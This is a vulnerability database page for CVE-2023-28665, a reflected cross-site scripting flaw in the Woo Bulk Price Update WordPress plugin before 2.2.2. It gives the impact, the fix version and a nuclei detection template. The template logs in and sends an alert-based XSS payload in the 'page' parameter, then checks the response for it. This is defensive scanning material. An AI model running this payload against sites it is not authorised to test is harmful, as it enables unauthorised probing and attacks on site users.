HexBrain

Browse / CVEs / CVE-2023-28665

CVE-2023-28665· technocrackers / bulk price update for woocommerce· CWE-79

Woo Bulk Price Update <2.2.2 - Cross-Site Scripting

mediumseverity
5.4CVSS score
0.9%likelihood of exploitation, next 30 days
60%of all CVEs are less likely
Readycheck to confirm it

The Woo Bulk Price Update WordPress plugin, in versions < 2.2.2, is affected by a reflected cross-site scripting vulnerability in the 'page' parameter to the techno_get_products action, which can only be triggered by an authenticated user.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Fixed in version 2.2.2

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin-ajax.php?action=techno_get_products&page=<svg%20onload=alert(document.domain)>
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "<svg onload=alert(document.domain)>") and contains(body_2, "pagination\":")

Run it with nuclei: nuclei -id CVE-2023-28665 -u <target>

The full check
id: CVE-2023-28665

info:
  name: Woo Bulk Price Update <2.2.2 - Cross-Site Scripting
  author: Aaban SOlutions,harsh
  severity: medium
  description: |
    The Woo Bulk Price Update WordPress plugin, in versions < 2.2.2, is affected by a reflected cross-site scripting vulnerability in the 'page' parameter to the techno_get_products action, which can only be triggered by an authenticated user.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 2.2.2
  reference:
    - https://wpscan.com/vulnerability/6f70182c-0392-40eb-a5b9-4ff91778e036
    - https://nvd.nist.gov/vuln/detail/CVE-2023-28665
    - https://github.com/JoshuaMart/JoshuaMart
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-28665
    cwe-id: CWE-79
    epss-score: 0.00887
    epss-percentile: 0.59598
    cpe: cpe:2.3:a:technocrackers:bulk_price_update_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: technocrackers
    product: bulk_price_update_for_woocommerce
    framework: wordpress
  tags: cve2023,cve,wordpress,wp,wp-plugin,wpscan,xss,authenticated,woo-bulk-price-update,technocrackers,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin-ajax.php?action=techno_get_products&page=<svg%20onload=alert(document.domain)> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "<svg onload=alert(document.domain)>")'
          - 'contains(body_2, "pagination\":")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from